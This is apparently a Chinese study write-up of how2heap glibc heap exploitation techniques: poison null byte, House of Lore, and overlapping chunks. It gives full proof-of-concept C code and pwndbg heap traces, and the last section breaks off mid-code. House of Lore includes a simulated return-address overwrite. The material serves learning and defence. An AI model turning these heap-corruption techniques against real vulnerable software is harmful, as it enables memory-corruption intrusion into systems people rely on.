0%

how2heap2

Poison_Null_Byte

利用原理

申请chunk a,b,c 然后free b,然后利用某个漏洞null_byte溢出覆盖b的chunk size(0x210->0x200),此时再次malloc b1,b2,会修改chunk c的prev_inuse size,但是因为b的chunk size被缩小,导致没有正确修改到chunk c的prev_inuse size。所以chunk c依然认为chunk b为原来的大小且属于free状态,这个时候free c,就会把错误的b和c合并,得到一块可以覆盖b1,b2的chunk

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>


int main()
{
fprintf(stderr, "Welcome to poison null byte 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04 64bit.\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;

fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
fprintf(stderr, "a: %p\n", a);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);

fprintf(stderr, "b: %p\n", b);

c = (uint8_t*) malloc(0x100);
fprintf(stderr, "c: %p\n", c);

barrier = malloc(0x100);
fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;

// this technique works by overwriting the size metadata of a free chunk
free(b);

fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n");
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);

uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);

// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);

fprintf(stderr, "b1: %p\n",b1);
fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control

b2 = malloc(0x80);
fprintf(stderr, "b2: %p\n",b2);

memset(b2,'B',0x80);
fprintf(stderr, "Current b2 content:\n%s\n",b2);

fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

free(b1);
free(c);

fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
fprintf(stderr, "d: %p\n",d);

fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);

fprintf(stderr, "New b2 content:\n%s\n",b2);

fprintf(stderr, "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");
}

具体分析

在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。

  1. malloc后,b
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555d000
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x55555555d110
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x55555555d320
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x55555555d430
Size: 0x111

Top chunk | PREV_INUSE
Addr: 0x55555555d540
Size: 0x20ac1
  1. free b后c的prev_size修改成了0x110
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55555555d110 ?? 0x7ffff7dd4b78 (main_arena+88) ?? 0x55555555d110
smallbins
empty
largebins
empty
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555d000
Size: 0x111

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555d110
Size: 0x211
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78

Allocated chunk
Addr: 0x55555555d320
Size: 0x110

Allocated chunk | PREV_INUSE
Addr: 0x55555555d430
Size: 0x111

Top chunk | PREV_INUSE
Addr: 0x55555555d540
Size: 0x20ac1

pwndbg> x/10gx 0x55555555d100
0x55555555d100: 0x0000000000000000 0x0000000000000000
0x55555555d110: 0x0000000000000000 0x0000000000000211
0x55555555d120: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
0x55555555d130: 0x0000000000000000 0x0000000000000000
0x55555555d140: 0x0000000000000000 0x0000000000000000
pwndbg> p b_size_ptr
$4 = (uint64_t *) 0x55555555d118
  1. a[real_a_size] = 0;real_a_size为0x108,a指向0x55555555d010,这个操作会覆盖b的chunk size为200,比原来的size缩小了0x10

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    pwndbg> x/10x 0x55555555d100
    0x55555555d100: 0x0000000000000000 0x0000000000000000
    0x55555555d110: 0x0000000000000000 0x0000000000000200
    0x55555555d120: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
    0x55555555d130: 0x0000000000000000 0x0000000000000000
    0x55555555d140: 0x0000000000000000 0x0000000000000000
    …………
    0x55555555d310: 0x0000000000000200 0x0000000000000000
    0x55555555d320: 0x0000000000000210 0x0000000000000110

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d000
    Size: 0x111

    Free chunk (unsortedbin)
    Addr: 0x55555555d110
    Size: 0x200
    fd: 0x7ffff7dd4b78
    bk: 0x7ffff7dd4b78

    Allocated chunk
    Addr: 0x55555555d310
    Size: 0x00
  2. 这个时候b1=alloc(0x100),由于b的chunk_size被减少了10,malloc以后会修改chunk c的fake prev_inuse size(原来应该修改0x55555555d320,但是b的size被篡改后实际会修改0x55555555d310)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d000
    Size: 0x111

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d110
    Size: 0x111

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d220
    Size: 0x91

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555d2b0
    Size: 0x61
    fd: 0x7ffff7dd4b78
    bk: 0x7ffff7dd4b78

    Allocated chunk
    Addr: 0x55555555d310
    Size: 0x00

    0x55555555d110: 0x0000000000000000 0x0000000000000111
    0x55555555d120: 0x00007ffff7dd4d68 0x00007ffff7dd4d68


    0x55555555d220: 0x0000000000000000 0x0000000000000091
    0x55555555d230: 0x00007ffff7dd4b78 0x00007ffff7dd4b78


    0x55555555d2b0: 0x0000000000000000 0x0000000000000061
    0x55555555d2c0: 0x00007ffff7dd4b78 0x00007ffff7dd4b78


    0x55555555d310: 0x00000000000000f0 0x0000000000000000
    0x55555555d320: 0x0000000000000210 0x0000000000000110
  3. b2 = malloc(0x80);同样是修改0x55555555d310(c的fake prev_inuse size)

    1
    2
    0x55555555d310:	0x0000000000000060	0x0000000000000000
    0x55555555d320: 0x0000000000000210 0x0000000000000110
  4. free(b1);free(c);得到大小为0x321的unsortedbin(因为free c的时候,计算使用的是c真实的prev_inuse size即未被修改的210,并且此时b1因为已经被free了,导致consolidate的操作,最后分配到一个能够覆盖b2的chunk)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d000
    Size: 0x111

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555d110
    Size: 0x321
    fd: 0x55555555d2b0
    bk: 0x7ffff7dd4b78

    Allocated chunk
    Addr: 0x55555555d430
    Size: 0x110

    Top chunk | PREV_INUSE
    Addr: 0x55555555d540
    Size: 0x20ac1
  5. malloc(0x300)这是会把unsortedbin中的0x55555555d110取出来,起始地址为0x55555555d110,大小为0x321,覆盖了b2

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d000
    Size: 0x111

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d110
    Size: 0x321

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d430
    Size: 0x111

    Top chunk | PREV_INUSE
    Addr: 0x55555555d540
    Size: 0x20ac1

House_of_Lore

利用原理

再stack上构造一个fake small bins链,然后free一个chunk,利用某个漏洞修改这个chunk的bk,让他指向我们构造的small bins链,那么之后的malloc最先会得到这个free的chunk,再次malloc会得到fake small bins链里面的fake chunk地址,由于fake chunk由我们控制,相当于我们可以控制任意地址了

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.

[ ... ]

else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){

errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}

set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

[ ... ]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(0x100);


fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}

具体分析

  1. 伪造small bin chain ,让 fake chunk 1 的 fd 指向 victim chunk,bk 指向 fake chunk 2;fake chunk 2 的 fd 指向 fake chunk 1,这样一个 small bin 链就差不多了:

    1
    2
    3
    4
    pwndbg> p stack_buffer_1
    $16 = {0x0, 0x0, 0x55555555c000, 0x7fffffffe0d0}
    pwndbg> p stack_buffer_2
    $15 = {0x0, 0x0, 0x7fffffffe0f0}
  2. free victim后,该chunk被分配到unsortedbin里面

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    pwndbg> heap
    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555c000
    Size: 0x111
    fd: 0x7ffff7dd4b78
    bk: 0x7ffff7dd4b78

    Allocated chunk
    Addr: 0x55555555c110
    Size: 0x3f0

    Top chunk | PREV_INUSE
    Addr: 0x55555555c500
    Size: 0x20b01

    pwndbg> p victim
    $11 = (intptr_t *) 0x55555555c010
    pwndbg> p victim
    $12 = (intptr_t *) 0x55555555c010
    pwndbg> x/10x 0x55555555c000
    0x55555555c000: 0x00000000 0x00000000 0x00000111 0x00000000
    0x55555555c010: 0xf7dd4b78 0x00007fff 0xf7dd4b78 0x00007fff
    0x55555555c020: 0x00000000 0x00000000
    pwndbg> x/10gx 0x55555555c000
    0x55555555c000: 0x0000000000000000 0x0000000000000111
    0x55555555c010: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
    0x55555555c020: 0x0000000000000000 0x0000000000000000
    0x55555555c030: 0x0000000000000000 0x0000000000000000
    0x55555555c040: 0x0000000000000000 0x0000000000000000
  3. void *p2 = malloc(1200);因为0x1200 无法被UnsortedBin和small bin处理,所以原本在 unsorted bin 中的 chunk,会被整理回各自的所属的 bins 中,这里就是 small bins

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    pwndbg> p victim
    $13 = (intptr_t *) 0x55555555c010
    pwndbg> x/10x 0x55555555c000
    0x55555555c000: 0x0000000000000000 0x0000000000000111
    0x55555555c010: 0x00007ffff7dd4c78 0x00007ffff7dd4c78
    0x55555555c020: 0x0000000000000000 0x0000000000000000
    0x55555555c030: 0x0000000000000000 0x0000000000000000
    0x55555555c040: 0x0000000000000000 0x0000000000000000
    pwndbg> heap
    Free chunk (smallbins) | PREV_INUSE
    Addr: 0x55555555c000
    Size: 0x111
    fd: 0x7ffff7dd4c78
    bk: 0x7ffff7dd4c78

    Allocated chunk
    Addr: 0x55555555c110
    Size: 0x3f0

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555c500
    Size: 0x4c1

    Top chunk | PREV_INUSE
    Addr: 0x55555555c9c0
    Size: 0x20641
  4. 假设存在一个漏洞,可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin;victim[1] = (intptr_t)stack_buffer_1

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    pwndbg> p stack_buffer_1
    $16 = {0x0, 0x0, 0x55555555c000, 0x7fffffffe0d0}
    pwndbg> p stack_buffer_2
    $15 = {0x0, 0x0, 0x7fffffffe0f0}
    pwndbg> heap
    Free chunk (smallbins) | PREV_INUSE
    Addr: 0x55555555c000
    Size: 0x111
    fd: 0x7ffff7dd4c78
    bk: 0x7fffffffe0f0

    Allocated chunk
    Addr: 0x55555555c110
    Size: 0x3f0

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555c500
    pwndbg> x/10gx 0x7fffffffe0d0
    0x7fffffffe0d0: 0x0000000000000000 0x0000000000000000
    0x7fffffffe0e0: 0x00007fffffffe0f0 0x00005555555557ad
    0x7fffffffe0f0: 0x0000000000000000 0x0000000000000000
    0x7fffffffe100: 0x000055555555c000 0x00007fffffffe0d0
    0x7fffffffe110: 0x00007fffffffe200 0xe853fa59889b9000
  5. small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。而ictim chunk是最后进入small bins 的,所以这时整条链是这样的:

    1
    head <-> fake chunk2 0x00007fffffffe0f0<->0x00007fffffffe0d0 fake chunk 1 0x000055555555c000 <-> 0x7fffffffe0f0 victim chunk <-> 0x7ffff7dd4c78 tail
  6. 接下来的第一个 malloc,会返回 victim chunk 的地址,再次malloc即可得到fake chunk1的地址,且地址在栈上我们可以控制。

Overlapping_Chunks

利用原理

free一个chunk,加入unsorted bin,修改加大其size,再malloc,得到一个能覆盖下一个chunk的chunk

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/*

A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){


intptr_t *p1,*p2,*p3,*p4;

fprintf(stderr, "\nThis is a simple chunks overlapping problem\n\n");
fprintf(stderr, "Let's start to allocate 3 chunks on the heap\n");

p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);

fprintf(stderr, "The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);

fprintf(stderr, "\nNow let's free the chunk p2\n");
free(p2);
fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\n");
fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\n");

int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
evil_chunk_size, evil_region_size);

*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n");
fprintf(stderr, "This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n");
p4 = malloc(evil_region_size);

fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8);
fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n");

fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

fprintf(stderr, "Let's run through an example. Right now, we have:\n");
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
memset(p4, '4', evil_region_size);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n");
memset(p3, '3', 80);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
}

具体分析

  1. *(p2-1) = evil_chunk_size使free掉的chunk大小被篡改0x101->0x181

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x101

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555b100
    Size: 0x181
    fd: 0x7ffff7dd4b78
    bk: 0x7ffff7dd4b78

    Top chunk | PREV_INUSE
    Addr: 0x55555555b280
    Size: 0x20d81
  2. p4 = malloc(evil_region_size);可以看到p4的大小为0x181,覆盖掉了p3。此时p4还没有被赋值

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x101

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b100
    Size: 0x181

    Top chunk | PREV_INUSE
    Addr: 0x55555555b280
    Size: 0x20d81
    pwndbg> p p3
    $3 = (intptr_t *) 0x55555555b210
    pwndbg> p p4
    $4 = (intptr_t *) 0x55555555b110
    pwndbg> x/100x 0x55555555b100
    0x55555555b100: 0x3131313131313131 0x0000000000000181
    0x55555555b110: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
    0x55555555b120: 0x3232323232323232 0x3232323232323232
    0x55555555b130: 0x3232323232323232 0x3232323232323232
    0x55555555b140: 0x3232323232323232 0x3232323232323232
    0x55555555b150: 0x3232323232323232 0x3232323232323232
    0x55555555b160: 0x3232323232323232 0x3232323232323232
    0x55555555b170: 0x3232323232323232 0x3232323232323232
    0x55555555b180: 0x3232323232323232 0x3232323232323232
    0x55555555b190: 0x3232323232323232 0x3232323232323232
    0x55555555b1a0: 0x3232323232323232 0x3232323232323232
    0x55555555b1b0: 0x3232323232323232 0x3232323232323232
    0x55555555b1c0: 0x3232323232323232 0x3232323232323232
    0x55555555b1d0: 0x3232323232323232 0x3232323232323232
    0x55555555b1e0: 0x3232323232323232 0x3232323232323232
    0x55555555b1f0: 0x3232323232323232 0x3232323232323232
    0x55555555b200: 0x0000000000000100 0x0000000000000080
    0x55555555b210: 0x3333333333333333 0x3333333333333333
    0x55555555b220: 0x3333333333333333 0x3333333333333333
    0x55555555b230: 0x3333333333333333 0x3333333333333333
    0x55555555b240: 0x3333333333333333 0x3333333333333333
    0x55555555b250: 0x3333333333333333 0x3333333333333333
    0x55555555b260: 0x3333333333333333 0x3333333333333333
    0x55555555b270: 0x3333333333333333 0x3333333333333333
    0x55555555b280: 0x3333333333333333 0x0000000000020d81
    0x55555555b290: 0x0000000000000000 0x0000000000000000
    p4 = xK???
    p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333?
  3. memset(p4, ‘4’, evil_region_size);为p4赋值,覆盖掉了p3

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    pwndbg> x/100x 0x55555555b100
    0x55555555b100: 0x3131313131313131 0x0000000000000181
    0x55555555b110: 0x3434343434343434 0x3434343434343434
    0x55555555b120: 0x3434343434343434 0x3434343434343434
    0x55555555b130: 0x3434343434343434 0x3434343434343434
    0x55555555b140: 0x3434343434343434 0x3434343434343434
    0x55555555b150: 0x3434343434343434 0x3434343434343434
    0x55555555b160: 0x3434343434343434 0x3434343434343434
    0x55555555b170: 0x3434343434343434 0x3434343434343434
    0x55555555b180: 0x3434343434343434 0x3434343434343434
    0x55555555b190: 0x3434343434343434 0x3434343434343434
    0x55555555b1a0: 0x3434343434343434 0x3434343434343434
    0x55555555b1b0: 0x3434343434343434 0x3434343434343434
    0x55555555b1c0: 0x3434343434343434 0x3434343434343434
    0x55555555b1d0: 0x3434343434343434 0x3434343434343434
    0x55555555b1e0: 0x3434343434343434 0x3434343434343434
    0x55555555b1f0: 0x3434343434343434 0x3434343434343434
    0x55555555b200: 0x3434343434343434 0x3434343434343434
    0x55555555b210: 0x3434343434343434 0x3434343434343434
    0x55555555b220: 0x3434343434343434 0x3434343434343434
    0x55555555b230: 0x3434343434343434 0x3434343434343434
    0x55555555b240: 0x3434343434343434 0x3434343434343434
    0x55555555b250: 0x3434343434343434 0x3434343434343434
    0x55555555b260: 0x3434343434343434 0x3434343434343434
    0x55555555b270: 0x3434343434343434 0x3434343434343434
    0x55555555b280: 0x3434343434343434 0x0000000000020d81

Overlapping_Chunks_2

利用原理

malloc 5个chunk,修改chunk2的size将其变大,然后free这个chunk,修改了

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
/*
Yet another simple tale of overlapping chunk.

This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.

This is also referenced as Nonadjacent Free Chunk Consolidation Attack.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){

intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;

fprintf(stderr, "\nThis is a simple chunks overlapping problem");
fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n");
fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");

p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);

real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
